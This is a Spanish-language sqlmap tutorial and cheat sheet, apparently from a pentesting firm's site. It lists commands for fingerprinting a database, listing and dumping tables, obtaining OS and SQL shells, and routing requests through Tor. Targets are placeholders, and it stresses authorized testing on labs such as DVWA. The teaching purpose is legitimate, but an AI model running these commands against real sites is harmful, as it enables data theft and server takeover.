SQLMap - Herramienta Automática de Inyección SQL
Sqlmap es una herramienta open source programada en Python, diseñada para automatizar el proceso de detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web. Esta herramienta de seguridad es un must-have en el arsenal de cualquier especialista en ciberseguridad. Su amplia gama de funcionalidades permite a los usuarios listar bases de datos, recuperar hashes de contraseñas, privilegios y más, en el host objetivo después de detectar inyecciones SQL.
- Características destacadas
-
A continuación, puedes ver algunos comandos de la herramienta en acción:
- Identifica la versión del banner de la base de datos:
- Listar bases de datos con sqlmap:
- Listar tablas:
- Dumpear la información de tabla:
- Definir el parametro a explotar en sqlmap:
- Si la url tiene URI´s bonitas:
- Conseguir shell del sistema (si es viable):
- Conseguir shell de SQL:
- Ejecutar consultas directamente:
- Utilizar tor en sqlmap para las peticiones:
- Listar todos los comandos:
- Añadir una cookie:
- Hoja de Trucos o Cheat Sheet para SQLMap:
- Preguntas frecuentes sobre Sqlmap
- Más Información sobre SQLMap:
Características destacadas
- Soporte completo para MySQL, mariadb, Oracle, PostgreSQL y Microsoft SQL. Además, puede identificar otros DBMS como Microsoft Access, DB2, Informix, Sybase e Interbase.
- Amplia base de datos para identificación de gestores de base de datos a través de mensajes de error, análisis de banner y funciones de salida de comparación, entre otras.
- Soporte completo para la mayoría de técnicas de inyección SQL, como: blind SQL injection y inband SQL injection.
A continuación, puedes ver algunos comandos de la herramienta en acción:
A el comando sqlmap ya sea en Windows (sqlmap.exe) para Linux (sqlmap o sqlmap.py) o en MacOS (sqlmap), vas a añadir los siguientes parámetros para conseguir los resultados esperados.
-u "http://XXXXXXXXXXX/detail.php?code=XXXXX" -b
Listar bases de datos con sqlmap:
--dbms=mysql -u "DIRECCIONURL" --dbs
Listar tablas:
--dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" --tables
Dumpear la información de tabla:
--dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" -T "TABLAS" --dump
Definir el parametro a explotar en sqlmap:
--dbms=mysql -u "http://XXXXXXXXXXX/detail.php?code=value1&param2=value2" --dbs -p param2
Si la url tiene URI´s bonitas:
--dbms=mysql -u "http://XXXXXXXXXXX/detail/code/value1*/param2/value2" --dbs
Conseguir shell del sistema (si es viable):
--dbms=mysql -u "DIRECCIONURL" --os-shell
Conseguir shell de SQL:
--dbms=mysql -u "DIRECCIONURL" --sql-shell
Ejecutar consultas directamente:
--dbms=mysql -u "DIRECCIONURL" -D "BASEDEDATOS" --sql-query "SELECT * FROM TABLAS;"
Utilizar tor en sqlmap para las peticiones:
--tor --tor-type=SOCKS5 --check-tor --dbms=mysql -u "DIRECCIONURL" --dbs
Listar todos los comandos:
--help
--cookie='PHPSESSID=sfoaj2jsh3e2hkjhakh23e;' --dbs --dbms='mysql' -u "DIRECCIONURL"
Hoja de Trucos o Cheat Sheet para SQLMap:
Preguntas frecuentes sobre Sqlmap
- ¿Qué es?
Sqlmap es una herramienta de código abierto que automatiza el proceso de detección y explotación de vulnerabilidades de inyección SQL en aplicaciones web, muy útil en procesos de pentesting. - ¿Cómo lo instalo?
Es un script de Python, por lo que necesitas tener Python instalado en tu sistema, si tienes sistema operativo Kali Linux, ya tienes tanto Python como la herramienta instalada, tambien puedes clonar el repositorio oficial desde GitHub o descargar el archivo .zip y ejecutarlo desde la línea de comandos. - ¿Es seguro de usar?
Sqlmap es seguro de usar siempre y cuando se utilice de manera ética y responsable, y con el debido permiso en los sistemas que se están probando, una aplicación vulnerable a sql injection donde puedes practicar es DVWA - Damn Vulnerable Web App. - ¿Puede detectar todas las vulnerabilidades de inyección SQL?
Sqlmap es una herramienta muy poderosa, pero no es infalible. Siempre es posible que se pasen por alto vulnerabilidades de inyección SQL, especialmente en casos en los que el sistema está utilizando medidas de protección avanzadas. - ¿Cómo se actualiza?
Puedes actualizar la herramienta clonando la última versión del repositorio oficial en GitHub. También puedes usar el comando 'git pull' si ya has clonado el repositorio anteriormente. - ¿Es gratuito?
Sí, es una herramienta de código abierto y completamente gratuita para su uso.
¿Interesado en proteger tu empresa de Inyecciones SQL? Contacta a DragonJAR para obtener más información sobre nuestros servicios de pentesting de aplicaciones web:
Más Información sobre SQLMap: